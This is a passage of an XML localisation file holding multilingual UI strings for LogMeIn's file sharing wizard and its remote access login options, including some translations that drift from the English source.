<zh>%PRODUCTNAME 已关闭。 您无法共享文件,已经共享的文件无法通过此计算机下载。</zh>
<ko>%PRODUCTNAME이(가) 꺼져 있습니다. 파일을 공유할 수 없으며 이미 공유한 파일도 이 컴퓨터에서 다운로드할 수 없습니다.</ko>
<en-gb>%PRODUCTNAME is turned off. You cannot share files, and files already shared cannot be downloaded from this computer.</en-gb>
<hu>A %PRODUCTNAME ki van kapcsolva. Nem oszthat meg fájlokat, és a már megosztott fájlok nem tölthetők le erről a számítógépről.</hu>
<pt-br>O %PRODUCTNAME está desligado. Você não pode compartilhar arquivos, e os arquivos já compartilhados não podem ser baixados deste computador.</pt-br>
<nl>%PRODUCTNAME is afgemeld. U kunt geen bestanden delen en bestanden die al gedeeld zijn kunnen niet van deze computer worden gedownload.</nl>
</msg>
<msg name="NOTE">
<en>Note: Files can only be downloaded when your computer is online.</en>
<es>Nota: los archivos sólo pueden descargarse cuando su ordenador está en línea.</es>
<de>Hinweis: Dateien können nur heruntergeladen werden, wenn Ihr Computer online ist.</de>
<fr>Remarque : les fichiers ne sont téléchargeables que lorsque votre ordinateur est en ligne.</fr>
<it>Nota: Il download dei file è possibile solo quando il computer è in linea.</it>
<ru>Примечание. Файлы можно загружать, только когда ваш компьютер подключен к сети.</ru>
<ja>ノート: お使いのコンピュータがオンラインになっていないとファイルをダウンロードできません。</ja>
<zh>注意:文件只能在您的计算机在线时下载。</zh>
<ko>참고: 컴퓨터가 온라인 상태일 경우에만 파일을 다운로드할 수 있습니다.</ko>
<en-gb>Note: Files can only be downloaded when your computer is online.</en-gb>
<hu>Megjegyzés: Fájlok csak akkor tölthetők le, ha az Ön számítógépe kapcsolódik a hálózathoz.</hu>
<pt-br>Nota: Só é possível baixar arquivos com o computador online.</pt-br>
<nl>Opmerking: bestanden kunnen alleen worden gedownload als uw computer online is.</nl>
</msg>
<msg name="BTN_SHRFILE">
<en>Share a file...</en>
<es>Compartir un archivo...</es>
<de>Datei freigeben...</de>
<fr>Partager un fichier...</fr>
<it>Condividi un file...</it>
<ru>Общий доступ к файлу...</ru>
<ja>ファイルの共有...</ja>
<zh>共享文件...</zh>
<ko>파일 공유...</ko>
<en-gb>Share a file...</en-gb>
<hu>Fájl megosztása...</hu>
<pt-br>Compartilhar um arquivo...</pt-br>
<nl>Deel een bestand...</nl>
</msg>
<msg name="BTN_MAKESURE">
<en>This will delete all links for File Sharing. Are you sure?</en>
<es>Esto borrará todos los enlaces de Transferencia de archivos. ¿Está seguro?</es>
<de>Alle Dateifreigabelinks werden gelöscht. Sind Sie sicher?</de>
<fr>Tous les liens de partage de fichiers seront supprimés. Êtes-vous sûr ?</fr>
<it>Questa operazione eliminerà tutti i collegamenti della condivisione file. Continuare?</it>
<ru>Будут удалены все ссылки для общего доступа к файлам. Выполнить эту операцию?</ru>
<ja>ファイル共有のすべてのリンクが削除されます。 実行してよろしいですか。</ja>
<zh>这将删除文件共享的所有链接。 是否确定?</zh>
<ko>파일 공유에 대한 모든 링크를 삭제합니다. 수행하시겠습니까?</ko>
<hu>Ezzel a fájlmegosztásra vonatkozó valamennyi hivatkozás törlődni fog. Biztos benne?</hu>
<pt-br>Todos os links do Compartilhamento de arquivos serão excluídos. Tem certeza?</pt-br>
<nl>Hierdoor worden alle koppelingen voor het Bestanden delen verwijderd. Weet u het zeker?</nl>
<en-gb>This will delete all links for File Sharing. Are you sure?</en-gb>
</msg>
<msg name="SHRFILES">
<en>Shared files</en>
<es>Archivos compartidos</es>
<de>Freigegebene Dateien</de>
<fr>Fichiers partagés</fr>
<it>File condivisi</it>
<ru>Общие файлы</ru>
<ja>共有ファイル</ja>
<zh>共享的文件</zh>
<ko>공유 파일</ko>
<en-gb>Shared files</en-gb>
<hu>Megosztott fájlok</hu>
<pt-br>Arquivos compartilhados</pt-br>
<nl>Gedeelde bestanden</nl>
</msg>
<msg name="MSG2_DISABLED">
<en>To see the list of shared files, please turn %PRODUCTNAME on.</en>
<es>Para ver la lista de archivos compartidos, encienda %PRODUCTNAME.</es>
<de>Bitte starten Sie %PRODUCTNAME, um die Liste der freigegebene Dateien zu sehen.</de>
<fr>Pour voir la liste des fichiers partagés, activez %PRODUCTNAME.</fr>
<it>Per vedere l'elenco dei file condivisi, attivare %PRODUCTNAME.</it>
<ru>Для просмотра списка общих файлов включите %PRODUCTNAME.</ru>
<ja>共有ファイルのリストを表示するには、%PRODUCTNAME をオンにしてください。</ja>
<zh>要查看共享文件的列表,请打开 %PRODUCTNAME。</zh>
<ko>공유 파일 목록을 보려면, %PRODUCTNAME을(를) 켜십시오.</ko>
<en-gb>To see the list of shared files, please turn %PRODUCTNAME on.</en-gb>
<hu>A megosztott fájlok listájának megtekintéséhez kapcsolja be a %PRODUCTNAME programot.</hu>
<pt-br>Para ver a lista de arquivos compartilhados, ligue o %PRODUCTNAME.</pt-br>
<nl>Om de lijst van gedeelde bestanden te bekijken, activeert u %PRODUCTNAME.</nl>
</msg>
<msg name="PROPERTY.SHAREDF">
<en>Shared File</en>
<es>Archivo compartido</es>
<de>Freigegebene Datei</de>
<fr>Fichier partagé</fr>
<it>File condiviso</it>
<ru>Общий файл</ru>
<ja>共有ファイル</ja>
<zh>共享的文件</zh>
<ko>공유 파일</ko>
<en-gb>Shared File</en-gb>
<hu>Megosztott fájl</hu>
<pt-br>Arquivo compartilhado</pt-br>
<nl>Gedeeld bestand</nl>
</msg>
<cat name="WIZARD">
<msg name="BTN_SENDNOTIF">
<en>Send notification</en>
<es>Enviar notificación</es>
<de>Benachrichtigung senden</de>
<fr>Envoyer une notification</fr>
<it>Invia notifica</it>
<ru>Отправить уведомление</ru>
<ja>通知を送信</ja>
<zh>发送通知</zh>
<ko>알림 보내기</ko>
<en-gb>Send notification</en-gb>
<hu>Értesítés küldése</hu>
<pt-br>Enviar notificação</pt-br>
<nl>Melding versturen</nl>
</msg>
<msg name="PG1.SHRDTLS">
<en>Sharing Details</en>
<es>Compartir detalles</es>
<de>Details zur Dateifreigabe</de>
<fr>Détails de partage</fr>
<it>Dettagli della Condivisione</it>
<ru>Сведения об общем доступе</ru>
<ja>ファイル共有の詳細</ja>
<zh>共享详细信息</zh>
<ko>공유 세부사항</ko>
<en-gb>Sharing Details</en-gb>
<hu>Megosztás részletei</hu>
<pt-br>Detalhes do compartilhamento</pt-br>
<nl>Details delen</nl>
</msg>
<msg name="PG1.FILE">
<en>File:</en>
<de>Datei:</de>
<es>Archivo:</es>
<fr>Fichier:</fr>
<it>File:</it>
<ru>Файл:</ru>
<ja>ファイル:</ja>
<zh>文件:</zh>
<ko>파일:</ko>
<en-gb>File :</en-gb>
<hu>Fájl:</hu>
<pt-br>Arquivo:</pt-br>
<nl>Bestand:</nl>
</msg>
<msg name="PG1.LOCATION">
<en>Location:</en>
<es>Ubicación:</es>
<de>Speicherort:</de>
<fr>Emplacement :</fr>
<it>Percorso:</it>
<ru>Местонахождение:</ru>
<ja>場所:</ja>
<zh>位置:</zh>
<ko>위치:</ko>
<en-gb>Location:</en-gb>
<hu>Hely:</hu>
<pt-br>Localização:</pt-br>
<nl>Locatie:</nl>
</msg>
<msg name="PG1.COMMENT">
<en>Comment:</en>
<de>Kommentar:</de>
<es>Comentario:</es>
<fr>Commentaire:</fr>
<it>Commento:</it>
<ru>Комментарий:</ru>
<ja>コメント:</ja>
<zh>注释:</zh>
<ko>주석:</ko>
<en-gb>Comment:</en-gb>
<hu>Megjegyzés:</hu>
<pt-br>Comentários:</pt-br>
<nl>Opmerking:</nl>
</msg>
<msg name="PG1.COMMENT_NOTE">
<en>Optionally, add a comment to the file for future reference.</en>
<es>Si lo desea, agregue un comentario al archivo que sirva de referencia en el futuro.</es>
<de>Wahlweise können Sie für später auch einen Kommentar zur Datei hinzufügen.</de>
<fr>Vous pouvez ajouter un commentaire au fichier pour référence.</fr>
<it>Facoltativamente, aggiungere un commento al file per riferimento futuro.</it>
<ru>Также можно добавить комментарий к файлу для будущего использования.</ru>
<ja>必要に応じて、今後の参照用にファイルにコメントを付けてください。</ja>
<zh>或者,为文件添加注解以备将来参考。</zh>
<ko>다음에 참고하기 위해 선택적으로 파일 설명을 추가할 수 있습니다.</ko>
<en-gb>Optionally, add a comment to the file for future reference.</en-gb>
<hu>A fájlhoz opcionálisan megjegyzés is írható a későbbi hivatkozás érdekében.</hu>
<pt-br>Opcionalmente, adicione um comentário ao arquivo para referência futura.</pt-br>
<nl>Eventueel kunt u een opmerking toevoegen aan het bestand voor toekomstig gebruik.</nl>
</msg>
<msg name="PG1.SHAREFOR">
<en>Sharing time limit:</en>
<es>Límite de tiempo para compartir:</es>
<de>Dauer der Freigabe:</de>
<fr>Durée de partage :</fr>
<it>Limite di tempo per la condivisione:</it>
<ru>Ограничение времени общего доступа:</ru>
<ja>ファイル共有の時間制限:</ja>
<zh>共享时间限制:</zh>
<ko>공유 시간 제한:</ko>
<en-gb>Sharing time limit:</en-gb>
<hu>Megosztás időkorlátja:</hu>
<pt-br>Limite de tempo de compartilhamento:</pt-br>
<nl>Tijdslimiet voor het delen:</nl>
</msg>
<msg name="PG1.SHAREFOR_NOTE">
<en>Set the time for the shared file to remain available.</en>
<es>Establezca el tiempo restante para que su invitado acepte la invitación.</es>
<de>Legen Sie fest, wie viel Zeit Ihrem Gast bleibt, um die Einladung anzunehmen.</de>
<fr>Définissez le temps restant à l'invité pour accepter l'invitation.</fr>
<it>Impostare il tempo disponibile all'ospite per accettare l'invito.</it>
<ru>Установите оставшееся время для принятия гостем приглашения.</ru>
<ja>ゲストが招待を受諾するまでの残り時間を設定します。</ja>
<zh>设置您来宾可以接受邀请的剩余时间。</zh>
<ko>게스트가 초대를 수락하기까지 남은 시간을 설정하십시오.</ko>
<en-gb>Set the time for the shared file to remain available.</en-gb>
<hu>Állítsa be azt az időt, amely a vendégének rendelkezésére áll a meghívó elfogadására.</hu>
<pt-br>Defina o tempo que resta para seu convidado aceitar o convite.</pt-br>
<nl>Stel de tijd in die uw gast over heeft om de uitnodiging aan te nemen.</nl>
</msg>
<msg name="PG1.MAXNUMOFDL">
<en>Download limit:</en>
<es>Límite de descarga:</es>
<de>Max. Downloads:</de>
<fr>Limite de téléchargement :</fr>
<it>Limite di download:</it>
<ru>Ограничение загрузки:</ru>
<ja>ダウンロードの制限:</ja>
<zh>下载限制:</zh>
<ko>다운로드 제한:</ko>
<en-gb>Download limit:</en-gb>
<hu>Letöltés korlátja:</hu>
<pt-br>Limite de downloads:</pt-br>
<nl>Download-limiet:</nl>
</msg>
<msg name="PG1.MAXDL_NOTE">
<en>Set how many times the file can be downloaded.</en>
<es>Establezca cuántas veces puede descargarse el archivo.</es>
<de>Legen Sie fest, wie oft die Datei heruntergeladen werden darf.</de>
<fr>Définissez le nombre de fois que ce fichier peut être téléchargé.</fr>
<it>Impostare per quante volte il file possa essere scaricato.</it>
<ru>Установите число разрешенных загрузок файла.</ru>
<ja>ファイルをダウンロードできる回数を設定します。</ja>
<zh>设置文件可以被下载的次数。</zh>
<ko>파일 다운로드 가능 횟수를 설정하십시오.</ko>
<en-gb>Set how many times the file can be downloaded.</en-gb>
<hu>Állítsa be, hogy a fájl hány alkalommal tölthető le.</hu>
<pt-br>Defina quantas vezes o arquivo pode ser baixado.</pt-br>
<nl>Geef op hoe vaak het bestand mag worden gedownload.</nl>
</msg>
<msg name="PG1.DLS">
<en>$1 downloads</en>
<es>$1 descargas</es>
<de>$1 Downloads</de>
<fr>$1 téléchargements</fr>
<it>$1 download</it>
<ru>$1 загрузок </ru>
<ja>$1 回のダウンロード</ja>
<zh>$1 次下载</zh>
<ko>$1 다운로드</ko>
<en-gb>$1 downloads</en-gb>
<hu>$1 letöltés</hu>
<pt-br>$1 downloads</pt-br>
<nl>$1 downloads</nl>
</msg>
<msg name="PG2.NOTMETHOD">
<en>Notification Method</en>
<es>Método de notificación</es>
<de>Benachrichtigungsmethode</de>
<fr>Méthode de notification</fr>
<it>Metodo di notifica</it>
<ru>Способ уведомления</ru>
<ja>通知の方法</ja>
<zh>通知方法</zh>
<ko>알림 방법</ko>
<en-gb>Notification Method</en-gb>
<hu>Értesítés módja</hu>
<pt-br>Método de notificação</pt-br>
<nl>Meldingsmethode</nl>
</msg>
<msg name="PG2.SENDMAIL_COMM">
<en>%PRODUCTNAME will generate and send an email for the recipient you define in the next step.</en>
<es>%PRODUCTNAME generará y enviará un correo electrónico para el destinatario que defina en el siguiente paso.</es>
<de>%PRODUCTNAME erstellt und versendet eine E-Mail an den im nächsten Schritt ausgewählten Empfänger.</de>
<fr>%PRODUCTNAME va générer et envoyer un email au destinataire que vous allez spécifier à l'étape suivante.</fr>
<it>%PRODUCTNAME creerà un'e-mail e l'invierà al destinatario specificato nel prossimo passaggio.</it>
<ru>%PRODUCTNAME создаст и отправит электронное письмо получателю, которого вы назначите на следующем этапе.</ru>
<ja>この次のステップで定義する受信者宛ての電子メールが %PRODUCTNAME によって生成され、送信されます。</ja>
<zh>%PRODUCTNAME 将生成电子邮件发送给在下一步中定义的收件人。</zh>
<ko>%PRODUCTNAME이(가) 전자 메일을 생성하여 다음 단계에서 정의한 수신자에게 보냅니다.</ko>
<en-gb>%PRODUCTNAME will generate and send an email for the recipient you define in the next step.</en-gb>
<hu>A %PRODUCTNAME e-mail üzenetet hoz létre, és a következő lépésben kiküldi az Ön által megadott címzettnek.</hu>
<pt-br>O %PRODUCTNAME gerará e enviará um email para o destinatário definido na próxima etapa.</pt-br>
<nl>%PRODUCTNAME zal een e-mail genereren en versturen voor de ontvanger die u tijdens de volgende stap opgeeft.</nl>
</msg>
<msg name="PG2.DONTSEND">
<en>I will send a notification myself</en>
<es>Enviaré una notificación yo mismo</es>
<de>Benachrichtigung selbst senden</de>
<fr>J'enverrai la notification moi-même</fr>
<it>Invierò una notifica personalmente</it>
<ru>Я отправлю уведомление самостоятельно</ru>
<ja>自分で通知を送信する</ja>
<zh>我将向我自己发送通知</zh>
<ko>LogMeIn이 알림을 보냅니다</ko>
<en-gb>I will send a notification myself</en-gb>
<hu>Én magam fogom elküldeni az értesítést</hu>
<pt-br>Eu mesmo enviarei uma notificação</pt-br>
<nl>Ik wil de melding zelf versturen</nl>
</msg>
<msg name="PG2.DONTSEND_COMM">
<en>LogMeIn creates a secure link you can then use in your own email client.</en>
<es>LogMeIn crea un enlace seguro que podrá usar en su propio cliente de correo electrónico.</es>
<de>LogMeIn erstellt einen sicheren Link, den Sie dann in Ihrem eigenen E-Mail-Client verwenden können.</de>
<fr>LogMeIn crée un lien sécurisé que vous pouvez ensuite utiliser dans votre propre client de messagerie.</fr>
<it>LogMeIn crea un collegamento protetto da usare nel proprio client e-mail.</it>
<ru>LogMeIn создаст безопасную ссылку, которую вы затем сможете использовать в своем почтовом клиенте.</ru>
<ja>電子メール クライアントで使用できる安全なリンクが LogMeIn によって作成されます。</ja>
<zh>LogMeIn 创建了您可以在自己的电子邮件客户端中使用的安全链接。</zh>
<ko>LogMeIn이 사용자의 전자 메일 클라이언트에서 사용할 수 있는 보안 링크를 만듭니다.</ko>
<en-gb>LogMeIn creates a secure link you can then use in your own email client.</en-gb>
<hu>A LogMeIn létrehoz egy biztonságos hivatkozást, amelyet aztán Ön a saját e-mail kliensében használhat.</hu>
<pt-br>O LogMeIn cria um link seguro que você pode usar no seu próprio cliente de email.</pt-br>
<nl>LogMeIn maakt een beveiligde koppeling aan die u vervolgens kunt gebruiken in uw eigen e-mailclient.</nl>
</msg>
<msg name="PG3.COMPNOTIF">
<en>Compose Notification</en>
<es>Escribir la notificación</es>
<de>Benachrichtigung erstellen</de>
<fr>Rédiger une notification</fr>
<it>Componi notifica</it>
<ru>Составить уведомление</ru>
<ja>通知の作成</ja>
<zh>撰写通知</zh>
<ko>알림 구성</ko>
<en-gb>Compose Notification</en-gb>
<hu>Értesítés létrehozása</hu>
<pt-br>Compor notificação</pt-br>
<nl>Melding samenstellen</nl>
</msg>
<msg name="PG3.COMPNOTIF_COMM">
<en>Enter the address and message for the person you are inviting to download the file.</en>
<es>Introduzca la dirección y el mensaje para la persona a la que invita a descargar el archivo.</es>
<de>Geben Sie die Adresse und eine Nachricht für die Person ein, die Sie zum Herunterladen der Datei einladen möchten.</de>
<fr>Entrez l'adresse email et le message à destination de la personne que vous invitez à télécharger le fichier.</fr>
<it>Immettere l'indirizzo della persona che si sta invitando a scaricare il file e il messaggio da inviare.</it>
<ru>Введите адрес и сообщение для человека, приглашаемого для загрузки файла.</ru>
<ja>ファイルのダウンロードに招待するユーザのアドレスとメッセージを入力します。</ja>
<zh>输入您要邀请其下载文件的人员的地址和消息。</zh>
<ko>파일을 다운로드할 수 있도록 초대할 사람의 주소 및 메시지를 입력하십시오.</ko>
<en-gb>Enter the address and message for the person you are inviting to download the file.</en-gb>
<hu>Írja be a fájl letöltésére meghívott személy címét és a neki szóló üzenetet.</hu>
<pt-br>Digite o endereço e a mensagem para a pessoa que você está convidando para baixar o arquivo.</pt-br>
<nl>Voer het adres en het bericht in voor de persoon die u wilt uitnodigen om het bestand te downloaden.</nl>
</msg>
<msg name="PG3.COMMENTSTOREC">
<en>Comments to the recipient:</en>
<es>Comentarios para el destinatario:</es>
<de>Nachricht für den Empfänger:</de>
<fr>Commentaire pour le destinataire :</fr>
<it>Commenti per il destinatario:</it>
<ru>Комментарии для получателя:</ru>
<ja>受信者宛てのメッセージ:</ja>
<zh>收件人注解:</zh>
<ko>수신인 설명:</ko>
<en-gb>Comments to the recipient:</en-gb>
<hu>Megjegyzések a címzettnek:</hu>
<pt-br>Comentários para o destinatário:</pt-br>
<nl>Opmerkingen voor de ontvanger:</nl>
</msg>
<msg name="PG3.EMAILOPT">
<en>Email options:</en>
<es>Opciones de correo electrónico:</es>
<de>E-Mail-Optionen:</de>
<fr>Options d'email :</fr>
<it>Opzioni e-mail:</it>
<ru>Параметры электронного письма:</ru>
<ja>電子メールのオプション:</ja>
<zh>电子邮件选项:</zh>
<ko>전자 메일 옵션:</ko>
<en-gb>Email options:</en-gb>
<hu>E-mail beállításai:</hu>
<pt-br>Opções de email:</pt-br>
<nl>E-mailopties:</nl>
</msg>
<msg name="PG3.SENDCPY">
<en>Send a copy to $1</en>
<es>Enviar una copia a $1</es>
<de>Kopie an $1 senden</de>
<fr>Envoyer une copie à $1</fr>
<it>Invia copia a $1</it>
<ru>Отправить копию $1</ru>
<ja>$1 にコピーを送信</ja>
<zh>将副本发送到 $1</zh>
<ko>$1(으)로 사본 보내기</ko>
<en-gb>Send a copy to $1</en-gb>
<hu>Másolat küldése $1 számára</hu>
<pt-br>Enviar uma cópia para $1</pt-br>
<nl>Kopie sturen aan $1</nl>
</msg>
<msg name="PG3.MSGLANG">
<en>Message language:</en>
<es>Idioma del mensaje:</es>
<de>Sprache der Nachricht:</de>
<fr>Langue du message :</fr>
<it>Lingua del messaggio:</it>
<ru>Язык сообщения:</ru>
<ja>メッセージの言語:</ja>
<zh>消息语言:</zh>
<ko>메시지 언어:</ko>
<en-gb>Message language:</en-gb>
<hu>Üzenet nyelve:</hu>
<pt-br>Idioma da mensagem:</pt-br>
<nl>Taal bericht:</nl>
</msg>
<msg name="PG4.NOTIFSENTSUCC">
<en>Notification sent successfully.</en>
<es>Notificación enviada correctamente.</es>
<de>Benachrichtigung erfolgreich versendet.</de>
<fr>Notification envoyée avec succès.</fr>
<it>Invio della notifica completato.</it>
<ru>Уведомление отправлено.</ru>
<ja>通知が正常に送信されました。</ja>
<zh>已成功发送通知.</zh>
<ko>알림을 보냈습니다.</ko>
<en-gb>Notification sent successfully.</en-gb>
<hu>Az értesítés sikeresen elküldve.</hu>
<pt-br>Notificação enviada com sucesso.</pt-br>
<nl>Melding verstuurd.</nl>
</msg>
<msg name="PG4.SUCCESSCOMM">
<en>The notification email has been successfully sent to $1</en>
<es>El correo electrónico con la notificación se ha enviado correctamente a $1</es>
<de>Die E-Mail-Benachrichtigung wurde erfolgreich an $1 gesendet.</de>
<fr>L'email de notification a été envoyé avec succès à $1</fr>
<it>Il messaggio e-mail di notifica è stato inviato a $1</it>
<ru>Электронное письмо с уведомлением было отправлено $1</ru>
<ja>通知メールが $1 に正常に送信されました</ja>
<zh>已成功将通知电子邮件发送到 $1</zh>
<ko>$1(으)로 알림 전자 메일을 보냈습니다.</ko>
<en-gb>The notification email has been successfully sent to $1</en-gb>
<hu>Az értesítő e-mail sikeresen elküldve $1 számára</hu>
<pt-br>O email de notificação foi enviado com êxito para $1</pt-br>
<nl>De melding is via e-mail verzonden naar $1</nl>
</msg>
<msg name="PG5.DLLINKRDY">
<en>Download link ready for email.</en>
<es>Enlace de descarga listo para enviar por correo electrónico.</es>
<de>Der Downloadlink kann nun per E-Mail verschickt werden.</de>
<fr>Lien de notification prêt à envoyer par email.</fr>
<it>Collegamento per il download pronto per l'e-mail.</it>
<ru>Ссылка для загрузки готова к отправке электронной почтой.</ru>
<ja>ダウンロード リンクを電子メールで送信する準備ができました。</ja>
<zh>下载链接已准备好通过电子邮件发送.</zh>
<ko>전자 메일에 첨부할 알림 링크가 준비되었습니다.</ko>
<en-gb>Download link ready for email.</en-gb>
<hu>Az e-mailhez használható letöltési hivatkozás elkészült.</hu>
<pt-br>Link do download pronto para email.</pt-br>
<nl>Download-koppeling gereed voor e-mail.</nl>
</msg>
<msg name="PG5.DLLINKRDY_COMM">
<en>The link below can be used to download the file from your computer.</en>
<es>Se puede utilizar el siguiente vínculo para descargar el archivo desde su ordenador.</es>
<de>Über den nachfolgenden Link kann die Datei von Ihrem Computer heruntergeladen werden.</de>
<fr>Le lien ci-dessous permet de télécharger le fichier depuis votre ordinateur.</fr>
<it>Il collegamento sottostante può essere utilizzato per scaricare il file dal computer.</it>
<ru>Приведенную ниже ссылку можно использовать для загрузки файла с вашего компьютера.</ru>
<ja>以下のリンクをクリックすると、ファイルをコンピュータからダウンロードできます。</ja>
<zh>下面的链接可用于从您的计算机上下载文件。</zh>
<ko>아래 링크를 사용하여 컴퓨터에서 파일을 다운로드할 수 있습니다. </ko>
<en-gb>The link below can be used to download the file from your computer.</en-gb>
<hu>A fájl az alábbi hivatkozásra kattintva tölthető le az Ön számítógépéről.</hu>
<pt-br>Você pode usar o link a seguir para baixar o arquivo do seu computador.</pt-br>
<nl>De koppeling hieronder kan worden gebruikt om het bestand van uw computer te downloaden.</nl>
</msg>
<msg name="PG5.NORESPONSE">
<en>File could not be shared.</en>
<es>No se pudo compartir el archivo.</es>
<de>Datei konnte nicht freigegeben werden.</de>
<fr>Impossible de partager le fichier.</fr>
<it>Impossibile condividere il file.</it>
<nl>Bestand kon niet worden gedeeld.</nl>
<pt-br>O arquivo não pôde ser compartilhado</pt-br>
<hu>A fájl nem osztható meg.</hu>
<ru>Не удалось открыть общий доступ к файлу.</ru>
<ja>ファイルを共有できませんでした。</ja>
<ko>파일을 공유할 수 없습니다.</ko>
<zh>无法共享文件。</zh>
</msg>
<msg name="PG5.TRYAGAIN">
<en>To try again, click File Sharing &gt; Share a file.</en>
<es>Para intentarlo de nuevo, haga clic en Uso compartido de archivos &gt; Compartir un archivo.</es>
<de>Klicken Sie auf „Dateifreigabe“ &gt; „Datei freigeben“, um es erneut zu versuchen.</de>
<fr>Pour réessayer, cliquez sur Partage de fichiers &gt; Partager un fichier.</fr>
<it>Per riprovare, fare clic su Condivisione dei file &gt; Condividi un file.</it>
<nl>Om het opnieuw te proberen, klikt u op Bestanden delen &gt; Deel een bestand.</nl>
<pt-br>Para tentar novamente, clique em Compartilhamento de arquivos &gt; Compartilhar um arquivo.</pt-br>
<hu>Pórbálja meg újra, kattintson a Fájlmegosztás &gt; Fájl megosztása opcióra.</hu>
<ru>Чтобы повторить попытку выберите пункты «Общий доступ к файлам» &gt; «Общий доступ к файлу».</ru>
<ja>再試行するには、[ファイル共有] &gt; [ファイルの共有] をクリックします。</ja>
<ko>다시 시도하려면, 파일 공유 &gt; 파일 공유를 클릭하십시오.</ko>
<zh>要重试,请单击“文件共享”&gt;“共享文件”。</zh>
</msg>
</cat>
<cat name="DETAILS">
<msg name="TITLE">
<en>Shared File Details</en>
<es>Detalles de los archivos compartidos</es>
<de>Details zur freigegebenen Datei</de>
<fr>Détails du fichier partagé</fr>
<it>Dettagli del File condiviso</it>
<ru>Сведения об общем файле</ru>
<ja>共有ファイルの詳細</ja>
<zh>共享文件详细信息</zh>
<ko>공유 파일 세부사항</ko>
<en-gb>Shared File Details</en-gb>
<hu>Megosztott fájl részletei</hu>
<pt-br>Detalhes do arquivo compartilhado</pt-br>
<nl>Details gedeeld bestand</nl>
</msg>
</cat>
</cat>
<cat name="OPTIONS">
<msg name="TITLE">
<en>Options</en>
<de>Optionen</de>
<es>Opciones</es>
<fr>Options</fr>
<it>Opzioni</it>
<ru>Параметры</ru>
<ja>オプション</ja>
<zh>选项</zh>
<ko>옵션</ko>
<en-gb>Options</en-gb>
<hu>Lehetőségek</hu>
<pt-br>Opções</pt-br>
<nl>Opties</nl>
</msg>
<msg name="USERNAMEREQUIRED">
<en>The following username is required to remotely access this computer:</en>
<de>Der folgende Benutzername ist für den Fernzugriff auf diesen Computer erforderlich:</de>
<es>Para poder acceder de forma remota a este ordenador se necesita el siguiente nombre de usuario:</es>
<fr>Le nom d'utilisateur suivant est nécessaire pour accéder à distance à cet ordinateur :</fr>
<it>Per accedere in remoto a questo computer, è richiesto il seguente nome utente:</it>
<ru>Для удаленного доступа к данному компьютеру требуется использовать следующее имя пользователя:</ru>
<ja>次のユーザー名はこのコンピュータにリモートからアクセスする際に必要です。</ja>
<zh>要远程访问此计算机,需使用下列用户名:</zh>
<ko>이 컴퓨터에 원격으로 액세스하려면 다음 사용자 이름이 필요합니다.</ko>
<en-gb>The following username is required to remotely access this computer:</en-gb>
<hu>A számítógép távoli eléréséhez a következő felhasználónevet kell megadni:</hu>
<pt-br>O nome de usuário a seguir é necessário para acessar remotamente este computador:</pt-br>
<nl>De volgende gebruikersnaam is nodig om op afstand toegang te krijgen tot deze computer:</nl>
</msg>
<msg name="USERNAME">
<en>Username</en>
<de>Benutzername</de>
<es>Nombre de usuario</es>
<fr>Nom d'utilisateur</fr>
<it>Nome utente</it>
<ru>Имя пользователя</ru>
<ja>ユーザー名</ja>
<zh>用户名</zh>
<ko>사용자 이름</ko>
<en-gb>Username</en-gb>
<hu>Felhasználónév</hu>
<pt-br>Nome de usuário</pt-br>
<nl>Gebruikersnaam</nl>
</msg>                
<msg name="USERNAME_AND_PASSWORD">
<en>Username and Password</en>
<de>Benutzername und Kennwort</de>
<es>Nombre de usuario y contraseña</es>
<fr>Nom d'utilisateur et mot de passe</fr>
<it>Nome utente e password</it>
<ru>Имя пользователя и пароль</ru>
<ja>ユーザー名とパスワード</ja>
<zh>用户名和密码</zh>
<ko>사용자 이름 및 암호</ko>
<en-gb>Username and Password</en-gb>
<hu>Felhasználónév és jelszó</hu>
<pt-br>Nome de usuário e senha</pt-br>
<nl>Gebruikersnaam en wachtwoord</nl>
</msg>
<msg name="PASSWORD_TIP">
<en>Tip: Learn how to change your Windows password</en>
<de>Tipp: So ändern Sie Ihr Windows-Kennwort.</de>
<es>Consejo: cómo modificar su contraseña de Windows</es>
<fr>Conseil : Apprenez à modifier votre mot de passe Windows</fr>
<it>Suggerimento: Scopri come cambiare la tua password di Windows</it>
<ru>Совет: узнайте, как сменить свой пароль Windows.</ru>
<ja>ヒント: Windows パスワードを変更するには</ja>
<zh>提示:了解如何更改您的 Windows 密码</zh>
<ko>팁: Windows 암호를 변경하는 방법을 알아보십시오.</ko>
<en-gb>Tip: Learn how to change your Windows password</en-gb>
<hu>Tipp: Ismerje meg, hogyan változtathatja meg Windows-jelszavát</hu>
<pt-br>Dica: saiba como alterar sua senha do Windows</pt-br>
<nl>Tip: leer hoe u uw wachtwoord voor Windows kunt wijzigen</nl>
</msg>
<msg name="PASSWORD1_1">
<en>When making a remote connection to this computer you will be prompted to enter the username and password you normally enter on the Windows login screen. Important: Do not re-enter the username and password for LogMeIn.com or the LogMeIn Client.</en>
<de>Wenn Sie aus der Ferne auf diesen Computer zugreifen, werden Sie zur Eingabe des Benutzernamens und des Kennworts aufgefordert, das Sie normalerweise auf der Anmeldeseite von Windows eingeben. Wichtig: Geben Sie an dieser Stelle nicht noch einmal den Benutzernamen und das Passwort für LogMeIn.com oder den LogMeIn-Client ein.</de>
<es>Al establecer una conexión remota con este ordenador se le pedirá que introduzca el nombre de usuario y la contraseña que normalmente introduciría en la pantalla de inicio de sesión de Windows. Importante: No vuelva a introducir el nombre de usuario y la contraseña de LogMeIn.com o LogMeIn Client.</es>
<fr>Lors d'une connexion à distance à cet ordinateur, vous serez invité à saisir le nom d'utilisateur et le mot de passe que vous utilisez normalement pour vous connecter à Windows. Important : n'entrez pas à nouveau le nom d'utilisateur et mot de passe LogMeIn.com ou LogMeIn Client.</fr>
<it>Quando verrà stabilita la connessione remota a questo computer, verrà richiesto di inserire il nome utente e la password che normalmente si inseriscono nella finestra di accesso di Windows. Importante: non inserire nuovamente il nome utente e la password per LogMeIn.com o per il client LogMeIn.</it>
<ru>При установлении удаленного соединения с данным компьютером, потребуется ввести имя пользователя и пароль, которые вы обычно указываете на экране входа в Windows. Не вводите имя пользователя и пароль для веб-сайта LogMeIn.com или Клиента LogMeIn.</ru>
<ja>このコンピュータにリモートから接続するときには、通常 Windows のログイン画面で、入力するユーザー名とパスワードを入力するように求められます。重要: LogMeIn.com や LogMeIn クライアント用のユーザー名とパスワードを再度入力しないでください。</ja>
<zh>远程连接此计算机时,Windows 登录屏幕会提示您输入常用的用户名和密码。重要说明:请勿输入 LogMeIn.com 或 LogMeIn 客户端的用户名和密码。</zh>
